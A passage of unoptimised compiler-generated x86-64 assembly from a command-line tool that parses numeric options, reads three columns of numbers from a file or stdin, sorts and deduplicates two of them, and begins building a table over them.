LBB0_7: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.29(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_9
## %bb.8: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -144(%rbp)
movq 8(%rax,%rcx,8), %rdi
callq _atol
movq %rax, -912(%rbp)
jmp LBB0_19
LBB0_9: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.30(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_11
## %bb.10: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -144(%rbp)
movq 8(%rax,%rcx,8), %rdi
callq _atol
movq %rax, -920(%rbp)
jmp LBB0_18
LBB0_11: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.31(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_13
## %bb.12: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -144(%rbp)
movq 8(%rax,%rcx,8), %rdi
callq _atol
movq %rax, -928(%rbp)
jmp LBB0_17
LBB0_13: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.32(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_15
## %bb.14: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -144(%rbp)
movq 8(%rax,%rcx,8), %rdi
callq _atoi
movl %eax, -900(%rbp)
jmp LBB0_16
LBB0_15:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq (%rax,%rcx,8), %rcx
leaq L_.str.33(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_16: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_17
LBB0_17: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_18
LBB0_18: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_19
LBB0_19: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_20
LBB0_20: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_21
LBB0_21: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_22
LBB0_22: ## in Loop: Header=BB0_3 Depth=1
movq -144(%rbp), %rax
addq $1, %rax
movq %rax, -144(%rbp)
jmp LBB0_3
LBB0_23:
cmpq $1, -912(%rbp)
jge LBB0_25
## %bb.24:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -912(%rbp), %rcx
leaq L_.str.34(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_25:
cmpq $1, -920(%rbp)
jge LBB0_27
## %bb.26:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -920(%rbp), %rcx
leaq L_.str.35(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_27:
cmpq $1, -928(%rbp)
jge LBB0_29
## %bb.28:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -928(%rbp), %rcx
leaq L_.str.36(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_29:
movq -912(%rbp), %rax
addq $-1, %rax
movq %rax, -912(%rbp)
movq -920(%rbp), %rax
addq $-1, %rax
movq %rax, -920(%rbp)
movq -928(%rbp), %rax
addq $-1, %rax
movq %rax, -928(%rbp)
movq -896(%rbp), %rdi
leaq L_.str.37(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_31
## %bb.30:
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -744(%rbp)
jmp LBB0_34
LBB0_31:
movq -896(%rbp), %rdi
leaq L_.str.38(%rip), %rsi
callq _fopen
movq %rax, -744(%rbp)
cmpq $0, %rax
jne LBB0_33
## %bb.32:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -896(%rbp), %rcx
leaq L_.str.39(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_33:
jmp LBB0_34
LBB0_34:
movq $0, -176(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -216(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -784(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -824(%rbp)
LBB0_35: ## =>This Inner Loop Header: Depth=1
movq -136(%rbp), %rdi
movq -744(%rbp), %rdx
leaq -184(%rbp), %rsi
callq _xf_lineread1
movq %rax, -136(%rbp)
cmpq $0, %rax
je LBB0_92
## %bb.36: ## in Loop: Header=BB0_35 Depth=1
cmpq $-1, -184(%rbp)
jne LBB0_38
## %bb.37:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.40(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_38: ## in Loop: Header=BB0_35 Depth=1
movq -136(%rbp), %rax
movsbl (%rax), %eax
cmpl $35, %eax
jne LBB0_40
## %bb.39: ## in Loop: Header=BB0_35 Depth=1
jmp LBB0_35
LBB0_40: ## in Loop: Header=BB0_35 Depth=1
movq -136(%rbp), %rdi
leaq L_.str.41(%rip), %rsi
leaq -832(%rbp), %rdx
callq _xf_lineparse2
movq %rax, -840(%rbp)
cmpq $0, -832(%rbp)
jge LBB0_42
## %bb.41:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.42(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_42: ## in Loop: Header=BB0_35 Depth=1
movq -832(%rbp), %rax
cmpq -928(%rbp), %rax
jl LBB0_45
## %bb.43: ## in Loop: Header=BB0_35 Depth=1
movq -832(%rbp), %rax
cmpq -912(%rbp), %rax
jl LBB0_45
## %bb.44: ## in Loop: Header=BB0_35 Depth=1
movq -832(%rbp), %rax
cmpq -920(%rbp), %rax
jge LBB0_46
LBB0_45: ## in Loop: Header=BB0_35 Depth=1
jmp LBB0_35
LBB0_46: ## in Loop: Header=BB0_35 Depth=1
movq -136(%rbp), %rdi
movq -840(%rbp), %rax
movq -912(%rbp), %rcx
addq (%rax,%rcx,8), %rdi
leaq L_.str.43(%rip), %rsi
leaq -784(%rbp), %rdx
movb $0, %al
callq _sscanf
cmpl $1, %eax
jne LBB0_58
## %bb.47: ## in Loop: Header=BB0_35 Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
testb $1, %al
jne LBB0_48
jmp LBB0_51
LBB0_48: ## in Loop: Header=BB0_35 Depth=1
movsd -784(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -100(%rbp)
movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomiss -100(%rbp), %xmm0
movb %al, -969(%rbp) ## 1-byte Spill
jne LBB0_50
jp LBB0_50
## %bb.49: ## in Loop: Header=BB0_35 Depth=1
movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movaps LCPI0_4(%rip), %xmm1 ## xmm1 = [NaN,NaN,NaN,NaN]
pand %xmm1, %xmm0
movss LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -969(%rbp) ## 1-byte Spill
LBB0_50: ## in Loop: Header=BB0_35 Depth=1
movb -969(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_59
jmp LBB0_58
LBB0_51: ## in Loop: Header=BB0_35 Depth=1
movb $1, %al
testb $1, %al
jne LBB0_52
jmp LBB0_55
LBB0_52: ## in Loop: Header=BB0_35 Depth=1
movsd -784(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -72(%rbp)
movsd -72(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomisd -72(%rbp), %xmm0
movb %al, -970(%rbp) ## 1-byte Spill
jne LBB0_54
jp LBB0_54
## %bb.53: ## in Loop: Header=BB0_35 Depth=1
movsd -72(%rbp), %xmm0 ## xmm0 = mem[0],zero
movaps LCPI0_3(%rip), %xmm1 ## xmm1 = [NaN,NaN]
pand %xmm1, %xmm0
movsd LCPI0_2(%rip), %xmm1 ## xmm1 = mem[0],zero
ucomisd %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -970(%rbp) ## 1-byte Spill
LBB0_54: ## in Loop: Header=BB0_35 Depth=1
movb -970(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_59
jmp LBB0_58
LBB0_55: ## in Loop: Header=BB0_35 Depth=1
fldl -784(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
fucompi %st(0), %st
movb %al, -971(%rbp) ## 1-byte Spill
jp LBB0_57
jmp LBB0_56
LBB0_56: ## in Loop: Header=BB0_35 Depth=1
fldt -16(%rbp)
fabs
flds LCPI0_1(%rip)
fxch %st(1)
fucompi %st(1), %st
fstp %st(0)
setb %al
movb %al, -971(%rbp) ## 1-byte Spill
LBB0_57: ## in Loop: Header=BB0_35 Depth=1
movb -971(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_59
LBB0_58: ## in Loop: Header=BB0_35 Depth=1
jmp LBB0_35
LBB0_59: ## in Loop: Header=BB0_35 Depth=1
movq -136(%rbp), %rdi
movq -840(%rbp), %rax
movq -920(%rbp), %rcx
addq (%rax,%rcx,8), %rdi
leaq L_.str.43(%rip), %rsi
leaq -824(%rbp), %rdx
movb $0, %al
callq _sscanf
cmpl $1, %eax
jne LBB0_71
## %bb.60: ## in Loop: Header=BB0_35 Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
testb $1, %al
jne LBB0_61
jmp LBB0_64
LBB0_61: ## in Loop: Header=BB0_35 Depth=1
movsd -824(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -104(%rbp)
movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomiss -104(%rbp), %xmm0
movb %al, -972(%rbp) ## 1-byte Spill
jne LBB0_63
jp LBB0_63
## %bb.62: ## in Loop: Header=BB0_35 Depth=1
movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movaps LCPI0_4(%rip), %xmm1 ## xmm1 = [NaN,NaN,NaN,NaN]
pand %xmm1, %xmm0
movss LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -972(%rbp) ## 1-byte Spill
LBB0_63: ## in Loop: Header=BB0_35 Depth=1
movb -972(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_72
jmp LBB0_71
LBB0_64: ## in Loop: Header=BB0_35 Depth=1
movb $1, %al
testb $1, %al
jne LBB0_65
jmp LBB0_68
LBB0_65: ## in Loop: Header=BB0_35 Depth=1
movsd -824(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -80(%rbp)
movsd -80(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomisd -80(%rbp), %xmm0
movb %al, -973(%rbp) ## 1-byte Spill
jne LBB0_67
jp LBB0_67
## %bb.66: ## in Loop: Header=BB0_35 Depth=1
movsd -80(%rbp), %xmm0 ## xmm0 = mem[0],zero
movaps LCPI0_3(%rip), %xmm1 ## xmm1 = [NaN,NaN]
pand %xmm1, %xmm0
movsd LCPI0_2(%rip), %xmm1 ## xmm1 = mem[0],zero
ucomisd %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -973(%rbp) ## 1-byte Spill
LBB0_67: ## in Loop: Header=BB0_35 Depth=1
movb -973(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_72
jmp LBB0_71
LBB0_68: ## in Loop: Header=BB0_35 Depth=1
fldl -824(%rbp)
fstpt -32(%rbp)
fldt -32(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
fucompi %st(0), %st
movb %al, -974(%rbp) ## 1-byte Spill
jp LBB0_70
jmp LBB0_69
LBB0_69: ## in Loop: Header=BB0_35 Depth=1
fldt -32(%rbp)
fabs
flds LCPI0_1(%rip)
fxch %st(1)
fucompi %st(1), %st
fstp %st(0)
setb %al
movb %al, -974(%rbp) ## 1-byte Spill
LBB0_70: ## in Loop: Header=BB0_35 Depth=1
movb -974(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_72
LBB0_71: ## in Loop: Header=BB0_35 Depth=1
jmp LBB0_35
LBB0_72: ## in Loop: Header=BB0_35 Depth=1
movq -136(%rbp), %rdi
movq -840(%rbp), %rax
movq -928(%rbp), %rcx
addq (%rax,%rcx,8), %rdi
leaq L_.str.43(%rip), %rsi
leaq -216(%rbp), %rdx
movb $0, %al
callq _sscanf
cmpl $1, %eax
je LBB0_74
## %bb.73: ## in Loop: Header=BB0_35 Depth=1
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -216(%rbp)
jmp LBB0_87
LBB0_74: ## in Loop: Header=BB0_35 Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
testb $1, %al
jne LBB0_75
jmp LBB0_78
LBB0_75: ## in Loop: Header=BB0_35 Depth=1
movsd -216(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -108(%rbp)
movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomiss -108(%rbp), %xmm0
movb %al, -975(%rbp) ## 1-byte Spill
jne LBB0_77
jp LBB0_77
## %bb.76: ## in Loop: Header=BB0_35 Depth=1
movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movaps LCPI0_4(%rip), %xmm1 ## xmm1 = [NaN,NaN,NaN,NaN]
pand %xmm1, %xmm0
movss LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -975(%rbp) ## 1-byte Spill
LBB0_77: ## in Loop: Header=BB0_35 Depth=1
movb -975(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_86
jmp LBB0_85
LBB0_78: ## in Loop: Header=BB0_35 Depth=1
movb $1, %al
testb $1, %al
jne LBB0_79
jmp LBB0_82
LBB0_79: ## in Loop: Header=BB0_35 Depth=1
movsd -216(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -88(%rbp)
movsd -88(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomisd -88(%rbp), %xmm0
movb %al, -976(%rbp) ## 1-byte Spill
jne LBB0_81
jp LBB0_81
## %bb.80: ## in Loop: Header=BB0_35 Depth=1
movsd -88(%rbp), %xmm0 ## xmm0 = mem[0],zero
movaps LCPI0_3(%rip), %xmm1 ## xmm1 = [NaN,NaN]
pand %xmm1, %xmm0
movsd LCPI0_2(%rip), %xmm1 ## xmm1 = mem[0],zero
ucomisd %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -976(%rbp) ## 1-byte Spill
LBB0_81: ## in Loop: Header=BB0_35 Depth=1
movb -976(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_86
jmp LBB0_85
LBB0_82: ## in Loop: Header=BB0_35 Depth=1
fldl -216(%rbp)
fstpt -48(%rbp)
fldt -48(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
fucompi %st(0), %st
movb %al, -977(%rbp) ## 1-byte Spill
jp LBB0_84
jmp LBB0_83
LBB0_83: ## in Loop: Header=BB0_35 Depth=1
fldt -48(%rbp)
fabs
flds LCPI0_1(%rip)
fxch %st(1)
fucompi %st(1), %st
fstp %st(0)
setb %al
movb %al, -977(%rbp) ## 1-byte Spill
LBB0_84: ## in Loop: Header=BB0_35 Depth=1
movb -977(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_86
LBB0_85: ## in Loop: Header=BB0_35 Depth=1
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -216(%rbp)
LBB0_86: ## in Loop: Header=BB0_35 Depth=1
jmp LBB0_87
LBB0_87: ## in Loop: Header=BB0_35 Depth=1
movq -872(%rbp), %rdi
movq -176(%rbp), %rsi
addq $1, %rsi
movslq -884(%rbp), %rax
imulq %rax, %rsi
callq _realloc
movq %rax, -872(%rbp)
movq -752(%rbp), %rdi
movq -176(%rbp), %rsi
addq $1, %rsi
movslq -772(%rbp), %rax
imulq %rax, %rsi
callq _realloc
movq %rax, -752(%rbp)
movq -792(%rbp), %rdi
movq -176(%rbp), %rsi
addq $1, %rsi
movslq -812(%rbp), %rax
imulq %rax, %rsi
callq _realloc
movq %rax, -792(%rbp)
cmpq $0, -872(%rbp)
je LBB0_90
## %bb.88: ## in Loop: Header=BB0_35 Depth=1
cmpq $0, -752(%rbp)
je LBB0_90
## %bb.89: ## in Loop: Header=BB0_35 Depth=1
cmpq $0, -792(%rbp)
jne LBB0_91
LBB0_90:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.44(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_91: ## in Loop: Header=BB0_35 Depth=1
movsd -216(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -872(%rbp), %rax
movq -176(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
movsd -784(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -752(%rbp), %rax
movq -176(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
movsd -824(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -792(%rbp), %rax
movq -176(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
movq -176(%rbp), %rax
addq $1, %rax
movq %rax, -176(%rbp)
jmp LBB0_35
LBB0_92:
movq -896(%rbp), %rdi
leaq L_.str.37(%rip), %rsi
callq _strcmp
cmpl $0, %eax
je LBB0_94
## %bb.93:
movq -744(%rbp), %rdi
callq _fclose
LBB0_94:
movq -760(%rbp), %rdi
movq -176(%rbp), %rsi
addq $1, %rsi
movslq -772(%rbp), %rax
imulq %rax, %rsi
callq _realloc
movq %rax, -760(%rbp)
movq -800(%rbp), %rdi
movq -176(%rbp), %rsi
addq $1, %rsi
movslq -812(%rbp), %rax
imulq %rax, %rsi
callq _realloc
movq %rax, -800(%rbp)
movq -880(%rbp), %rdi
movq -176(%rbp), %rsi
addq $1, %rsi
movslq -884(%rbp), %rax
imulq %rax, %rsi
callq _realloc
movq %rax, -880(%rbp)
cmpq $0, -760(%rbp)
je LBB0_96
## %bb.95:
cmpq $0, -800(%rbp)
jne LBB0_97
LBB0_96:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.44(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_97:
movq $0, -144(%rbp)
LBB0_98: ## =>This Inner Loop Header: Depth=1
movq -144(%rbp), %rax
cmpq -176(%rbp), %rax
jge LBB0_101
## %bb.99: ## in Loop: Header=BB0_98 Depth=1
movq -752(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -760(%rbp), %rax
movq -144(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
## %bb.100: ## in Loop: Header=BB0_98 Depth=1
movq -144(%rbp), %rax
addq $1, %rax
movq %rax, -144(%rbp)
jmp LBB0_98
LBB0_101:
movq -760(%rbp), %rdi
movq -176(%rbp), %rsi
movl $8, %edx
movq _xf_compare1_d@GOTPCREL(%rip), %rcx
callq _qsort
movq -760(%rbp), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -192(%rbp)
movq $1, -768(%rbp)
movq $1, -144(%rbp)
LBB0_102: ## =>This Inner Loop Header: Depth=1
movq -144(%rbp), %rax
cmpq -176(%rbp), %rax
jge LBB0_107
## %bb.103: ## in Loop: Header=BB0_102 Depth=1
movq -760(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
ucomisd -192(%rbp), %xmm0
jne LBB0_104
jp LBB0_104
jmp LBB0_105
LBB0_104: ## in Loop: Header=BB0_102 Depth=1
movq -760(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -760(%rbp), %rax
movq -768(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -768(%rbp)
movsd %xmm0, (%rax,%rcx,8)
LBB0_105: ## in Loop: Header=BB0_102 Depth=1
movq -760(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -192(%rbp)
## %bb.106: ## in Loop: Header=BB0_102 Depth=1
movq -144(%rbp), %rax
addq $1, %rax
movq %rax, -144(%rbp)
jmp LBB0_102
LBB0_107:
movq $0, -144(%rbp)
LBB0_108: ## =>This Inner Loop Header: Depth=1
movq -144(%rbp), %rax
cmpq -176(%rbp), %rax
jge LBB0_111
## %bb.109: ## in Loop: Header=BB0_108 Depth=1
movq -792(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -800(%rbp), %rax
movq -144(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
## %bb.110: ## in Loop: Header=BB0_108 Depth=1
movq -144(%rbp), %rax
addq $1, %rax
movq %rax, -144(%rbp)
jmp LBB0_108
LBB0_111:
movq -800(%rbp), %rdi
movq -176(%rbp), %rsi
movl $8, %edx
movq _xf_compare1_d@GOTPCREL(%rip), %rcx
callq _qsort
movq -800(%rbp), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -192(%rbp)
movq $1, -808(%rbp)
movq $1, -144(%rbp)
LBB0_112: ## =>This Inner Loop Header: Depth=1
movq -144(%rbp), %rax
cmpq -176(%rbp), %rax
jge LBB0_117
## %bb.113: ## in Loop: Header=BB0_112 Depth=1
movq -800(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
ucomisd -192(%rbp), %xmm0
jne LBB0_114
jp LBB0_114
jmp LBB0_115
LBB0_114: ## in Loop: Header=BB0_112 Depth=1
movq -800(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -800(%rbp), %rax
movq -808(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -808(%rbp)
movsd %xmm0, (%rax,%rcx,8)
LBB0_115: ## in Loop: Header=BB0_112 Depth=1
movq -800(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -192(%rbp)
## %bb.116: ## in Loop: Header=BB0_112 Depth=1
movq -144(%rbp), %rax
addq $1, %rax
movq %rax, -144(%rbp)
jmp LBB0_112
LBB0_117:
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.46(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.47(%rip), %rdi
movb $0, %al
callq _printf
movq $0, -144(%rbp)
LBB0_118: ## =>This Loop Header: Depth=1
## Child Loop BB0_120 Depth 2
## Child Loop BB0_122 Depth 3
movq -144(%rbp), %rax
cmpq -768(%rbp), %rax
jge LBB0_151
## %bb.119: ## in Loop: Header=BB0_118 Depth=1
movq $0, -152(%rbp)
LBB0_120: ## Parent Loop BB0_118 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_122 Depth 3
movq -152(%rbp), %rax
cmpq -808(%rbp), %rax
jge LBB0_149
## %bb.121: ## in Loop: Header=BB0_120 Depth=2
movq $0, -864(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -712(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -720(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -736(%rbp)
movq $0, -856(%rbp)
movq $0, -168(%rbp)
LBB0_122: ## Parent Loop BB0_118 Depth=1
## Parent Loop BB0_120 Depth=2
## => This Inner Loop Header: Depth=3
movq -168(%rbp), %rax
cmpq -176(%rbp), %rax
jge LBB0_140
## %bb.123: ## in Loop: Header=BB0_122 Depth=3
movq -752(%rbp), %rax
movq -168(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -760(%rbp), %rax
movq -144(%rbp), %rcx
ucomisd (%rax,%rcx,8), %xmm0
jne LBB0_138
jp LBB0_138
## %bb.124: ## in Loop: Header=BB0_122 Depth=3
movq -792(%rbp), %rax
movq -168(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -800(%rbp), %rax
movq -152(%rbp), %rcx
ucomisd (%rax,%rcx,8), %xmm0
jne LBB0_138
jp LBB0_138
## %bb.125: ## in Loop: Header=BB0_122 Depth=3
movq -864(%rbp), %rax
addq $1, %rax
movq %rax, -864(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
testb $1, %al
jne LBB0_126
jmp LBB0_129
LBB0_126: ## in Loop: Header=BB0_122 Depth=3
movq -872(%rbp), %rax
movq -168(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -112(%rbp)
movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomiss -112(%rbp), %xmm0
movb %al, -978(%rbp) ## 1-byte Spill
jne LBB0_128
jp LBB0_128
## %bb.127: ## in Loop: Header=BB0_122 Depth=3
movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movaps LCPI0_4(%rip), %xmm1 ## xmm1 = [NaN,NaN,NaN,NaN]
pand %xmm1, %xmm0
movss LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -978(%rbp) ## 1-byte Spill
LBB0_128: ## in Loop: Header=BB0_122 Depth=3
movb -978(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_136
jmp LBB0_137
LBB0_129: ## in Loop: Header=BB0_122 Depth=3
movb $1, %al
testb $1, %al
jne LBB0_130
jmp LBB0_133
LBB0_130: ## in Loop: Header=BB0_122 Depth=3
movq -872(%rbp), %rax
movq -168(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -96(%rbp)
movsd -96(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorl %eax, %eax
## kill: def $al killed $al killed $eax
ucomisd -96(%rbp), %xmm0
movb %al, -979(%rbp) ## 1-byte Spill
jne LBB0_132
jp LBB0_132
## %bb.131: ## in Loop: Header=BB0_122 Depth=3
movsd -96(%rbp), %xmm0 ## xmm0 = mem[0],zero
